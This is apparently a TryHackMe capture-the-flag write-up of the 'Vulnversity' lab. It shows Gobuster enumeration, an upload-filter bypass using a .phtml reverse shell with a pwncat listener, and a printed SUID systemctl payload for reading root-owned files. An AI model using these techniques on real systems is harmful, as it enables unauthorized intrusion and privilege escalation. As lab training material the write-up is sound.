TryHackMe - Vulnversity (Easy)

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{"author" : ["ret2basic"]}

Summary
Gobuster finds a hidden directory /internal which has an upload form. The upload form filters .php extension, but Burp Intruder finds that phtml bypasses the filter. Here we rename php-reverse-shell.php to php-reverse-shell.phtml and get a www-data shell.
On the victim machine, /bin/systemctl is SUID. Using an arbitrary file read payload on GTFOBins, we are able to read root.txt without getting a root shell.
IP
RHOST: 10.10.64.243
LHOST: 10.13.12.2
Nmap
Nmap
Asset Discovery
Run Gobuster against port 3333:
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gobuster dir -u http://10.10.64.243:3333 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster.txt
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Gobuster finds /internal:
Gobuster
www-data shell: File Upload with PHP Extension Bypass
There is an upload form in /internal:
/internal
Try uploading php-reverse-shell.php here. However, this file is not present in the /internal/uploads directory:
Upload failed
Perhaps the .php file extension is blocked. Brute-force valid file extensions using Burpsuite Intruder. Remember turn off "URL-encode these characters":
Uncheck "URL-encode these characters"
Make a PHP extension wordlist:
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.php
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.php3
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.php4
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.php5
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.phtml
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Intruder finds that the only valid extension is .phtml:
.phtml is a valid extension
Rename the PHP reverse shell payload to php-reverse-shell.phtml and upload again. This time the file is successfully uploaded:
Upload succeeds
Start a pwncat listener:
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pwncat-cs :443
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Trigger the reverse shell payload and get a user shell as www-data:
www-data shell
Arbitrary File Read: SUID /bin/systemctl
Search for SUID file:
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find / -perm -u=s -type f 2>/dev/null
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Note that /bin/systemctl is SUID:
/bin/systemctl
GTFOBins has a privesc payload for systemctl. Change the payload to cat /root/root.txt > /tmp/output:
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$ TF=$(mktemp).service
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$ echo '[Service]
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Type=oneshot
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ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
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[Install]
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WantedBy=multi-user.target' > $TF
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$ /bin/systemctl link $TF
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$ /bin/systemctl enable --now $TF
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Execute these commands line by line on the victim machine and read the content of root.txt:
root.txt